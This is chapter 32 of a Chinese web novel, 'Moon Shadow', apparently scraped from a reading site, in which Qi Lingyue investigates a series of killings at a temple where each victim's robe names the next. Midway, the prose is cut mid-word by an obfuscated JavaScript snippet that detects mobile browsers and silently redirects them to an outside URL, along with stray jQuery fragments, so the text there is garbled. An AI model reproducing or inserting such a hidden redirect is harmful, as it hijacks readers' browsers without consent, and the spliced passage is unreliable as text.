32.下一个就是你

作品:《月影随行

    李广卫赶紧鞠躬哈腰,“王爷,这等刁民就是嘴硬,带回去收拾一下就老实了”


    王妃露出慈祥的微笑,“李县令此事有点草率了,这两位姑娘既然是从圣都来的,又怎么会与归元寺的僧人结仇呢?”


    “王妃说的是,那依您看……此事该如何处理?”,李广卫居然把问题抛给王妃。


    “查案,这是你作为县令该做的事,难不成让王爷查?还是本王妃查?”


    李广卫意识到自己说错话,“是下官的错,还请王爷王妃先回别院休息,下官一定查清楚”


    靖南王离开时留下一句话,“好好查”


    “是是是”


    待王爷和王妃离开后,李广卫擦拭额头上豆大的冷汗,随后他下令,让其他人先回自己的房间等候进一步的排查。


    回去的路上,庄清清愤慨,“这什么狗官啊?一上来就给咱们定罪,咱们还没从王爷那得到什么有用的信息呢,月月,要不然咱们亮身份吧,把你是寒夫人的身份亮出来,吓死他”


    祁令月摇头,“还不是时候”


    庄清清鼓着嘴,“好吧”


    从白天到深夜,李广卫什么有用的信息都没查到,唯独知道觉明的死因,就是被人一刀封喉。


    ‘咚~咚~咚~’,子时到,青铜大钟再次响起,这次听着钟声大家人心惶惶,夜不能寐,直到第二天钟声响起,除了钟声还伴随一声尖叫声,把大家从睡梦中惊醒。


    是敲钟的小僧。


    大钟下又出现了一件整齐摆放的衣物,这次上面放的不是经书,而是一把木刀。


    有僧人认出,这衣服和木刀是道生师弟的,他平日是负责大家的伙食,生活里喜欢做一些木工来玩。


    闻行手都在抖,“快,快去后山”


    “是”


    闻云刚转身,身后的闻善回来报,“不好啦!死了,死了,道~道生”


    这下客人都站不住了,纷纷想要离开,李广卫这才姗姗来迟。


    “让开让开”,一衙役开道。


    李广卫看着地上的衣服,对众人说,“你们一个也别想跑”


    慧能住持赶到现场,“阿弥陀佛”


    李广卫左看右看,没见祁令月和庄清清,“那两人呢?”


    “回大人,在后山”


    “走”


    祁令月和庄清清又出现在尸体旁,这次庄清清倒不再害怕,反而心里更想知道凶手是谁,好打李广卫的脸。


    “月月,又是一刀封喉耶”


    “嗯,你看,那伤口又细又平,凶器应该是一把薄薄的匕首类的东西”


    “嗯,有道理”


    李广卫到后山,立刻下令,“来人,把她们两个给我抓起来”


    “是”


    两人回头,衙役已经出现在他们身后。


    “我就说凶手是你们吧,哈哈”


    两人被抓。


    “放开我们,你这个狗官,你知道我们是谁吗?”


    “我管你们是谁,带走”


    一黑影以掩耳不及迅雷之势冲进来,三两下把祁令月和庄清清从衙役手中夺过来。


    “是阿英”,祁令月开心道。


    阿英身姿挺拔立在祁令月面前,“谁敢动我家夫人”


    “你家夫人?”


    庄清清一步上前,“这位是玄影司寒彻之妻”


    “什么?玄影司”


    李广卫瞬间腿软,这下完蛋,谁人不知玄影司寒彻啊。


    衙役扶着李广卫,只见他换了副嘴脸,“原来是寒夫人,下官有礼有礼”


    道生的尸体被抬走,看热闹的人也渐渐离去。


    两位衙役一前一后抬着架子,从僧人道静面前经过时,道静捂着脸大叫,“阿……我看见了,我看见了”


    在场的人投去异样的眼光,闻行问,“你看见什么了?”


    “师兄”,道静害怕得脸色泛白,“我见到无尘住持了”


    “这不可能……”,闻行果断否认。


    “等一下”,李广卫上前,“怎么不可能?”


    闻行双手合十,“李县令,我们无尘住持早在八年前就已经圆寂了,道静估计是太过害怕,看错了也不一定”


    “不…”,道静扯着嗓子,一边哭一边喊,“师兄,我真的看见了,是无尘住持回来索命了”


    “闻云,闻善,把他拉下去”


    闻云赶紧拉住道静,“是,师兄”


    但闻善一直没动,闻云用脚一踹,“闻善,你发什么愣?”


    闻善这才回过神。


    李广卫硬气了一回,“慢着,既然有新的线索就得查,那道静说的无尘住持回来索命到底是何意啊?”


    “这……”,闻行支支吾吾。


    慧能不知何时出现在大家身后,“还是由我来向李大人解释吧”


    “住持”,闻行退去一旁。


    “李大人,这都是八年前的事情了,当时有一位香客存放一笔巨款在寺里,由无尘住持保管,但住持的身体每况愈下,之后住持便把这笔巨款分别交由当时的监院寂然师兄,慧德和我来保管,可后来那笔巨款不翼而飞,无尘住持急火攻心圆寂了,再之后,寂然师兄和慧德都离开了归元寺,不知所踪”


    “那这和索命有何关系?”,李广卫一头雾水。


    庄清清和祁令月点头附和,她们也想不明白。


    慧能住持叹了口气,“诶”


    闻行说,“前几年都相安无事,可是近一年,总是有师兄师弟在寺里说见过无尘住持,还有人说,是无尘住持心中有愧,冤魂不愿离去,久而久之这事就在大家心里留下烙印”


    祁令月更不解了,“那两名死者与无尘住持可有过节吗?”


    “没有”


    “没有?那无尘住持索他们命没道理啊”


    李广卫这下害怕了,接连死了两人,可他还是毫无头绪。


    “李大人,还是多派些人手在青铜大钟和后山巡逻吧,我怀疑还会死人”,祁令月不祥的预感又出现。


    “啊,不会吧?”,李广卫叫苦。


    “李大人,可否让我查看一下死者的衣物”


    “这……”,李广卫有些为难。


    “李大人,我明白我身处其中,不能排除嫌疑,你如果不放心,可以派人一直跟着我”


    禅林院


    王妃听到下人回复,有些意外,“她是寒彻的新妇?”


    “是”


    “王爷”,王妃略显兴奋。


    “嗯,本王听到啦!诶,有点可惜,还以为他会娶青苒那丫头,没想到却娶了祁尚书的女儿”


    “祁家姑娘也没什么不好,昨天见过,确实有点胆识,还有趣”,王妃说完浅浅笑了。


    就在李广卫犹豫不决时,靖南王派人来到后山,又再一次为祁令月解围,李广卫这才答应祁令月的要求。


    祁令月带着庄清清和阿英来到存放死者衣物的房间,像一间刚清理出来的杂物间,地方不大,不算干净,衣物被整齐的摆放在桌子上。


    祁令月问看守的衙役,“这里有人来过吗?”


    “除了收拾房间的老陈,就是我们会偶尔进来检查一下,其余的就没人进来了”


    “老


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16872124|190986||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    陈?”


    “哦,是寺里打杂的”


    “哦,谢谢”


    “客气了,姑娘”,说完就出去门口继续守着。


    祁令月拿起第一个死者的僧袍,摸了摸材质,闻一下气味,好像没什么特殊,庄清清接过祁令月递过来的僧袍有样学样的做一遍,祁令月再拿起第二件死者的僧袍,同样的操作做一遍,当她摸到袖口时,手上却染了很浅的墨迹,她把袖口翻开,在袖口边上,发现两个还未干透的字迹‘暮雪’,她急忙抢过庄清清手上的那件,同样翻开袖口,里面写着道生。


    “月月,这是....”


    “第一个死者叫什么?”


    “觉明”


    “觉明的僧袍袖口写了‘道生’,第二日道生死了,那道生的僧袍袖口写着‘暮雪’,那岂不是下个死者就是这个叫暮雪的,快..去告诉李大人,让他把这个叫暮雪的找出来,快去...”


    “我去...”,阿英手脚快,飞身出门。


    李广卫找了慧能住持一问,寺里根本没有叫暮雪的僧人,留宿的人里面也没有人叫暮雪。


    “寒夫人,会不会搞错了呀,寺里根本没有叫暮雪的人”,李广卫询问。


    “靖南王那边呢?随行的人中有没有叫暮雪的吗?”


    “你是...你是怀疑有人要对靖南王下手,不会吧,谁吃了熊心豹子胆啊”


    这时,靖南王和王妃来了,王妃温柔的开口,“与我们随行的人里面也没有叫暮雪的”,王妃雷厉风行,早已查完随行人员。


    众人闻声行礼。


    ‘咚~咚~咚~’,可怕的青铜钟声又一次响起,不是在清晨,也不在子时,而是在这大中午太阳正当头时,李广卫突然大喊,“快去青铜大钟”


    “阿英”,祁令月喊了一声,阿英迅速离开。


    守在青铜大钟旁的衙役早已不见踪影。


    李广卫大喊,“人呢?”


    祁令月和闻行喊道,“快去后山”


    大钟下,整齐摆放的是一件女子的衣服,上面放着金银首饰。


    “大人,李大人”,一衙役急忙跑过来,“大人在茅房内发现两人”


    两名衙役被带了上来,见到李广卫噗通跪下,“大人饶命啊,属下就是突然肚子疼去上了个茅房,结果被人从后面打晕了”


    李广卫气的脸铁青,“他肚子疼去茅房,你也去啊?”


    “大人饶命啊”


    “你们....气死我了....”,李广卫掐着虎口,差点没晕过去。


    祁令月蹲在大钟下,翻看摆在那的衣服,衣服裙摆内,是刚写上的字,‘慧能’


    庄清清回头,望着站在她们身后的慧能住持,吃惊的说道,“是慧能住持”


    “什么”


    “怎么下一个会是慧能住持呢?”


    “难道八年前的那巨款是慧能住持贪去了?”


    众人七嘴八舌。


    站在慧能住持身旁的闻善怒斥道,“闭嘴,谁让你们在这胡说八道的”


    慧能住持拉住闻善,“阿弥陀佛,闻善,不得无礼”


    “师傅”


    慧能摇摇头,让他别冲动,自己没做过的事情,无需解释。


    祁令月把衣服拿给慧能住持看,“慧能住持,这个笔记你认识吗?”


    慧能住持怎么能不认识,“这是无尘住持的字迹”


    此话一出,一片骇然。


    李广卫慌了,“难不成真的是无尘住持的冤魂回来索命了吗?”


    靖南王轻咳两声,荒谬。


    李广卫这才闭嘴。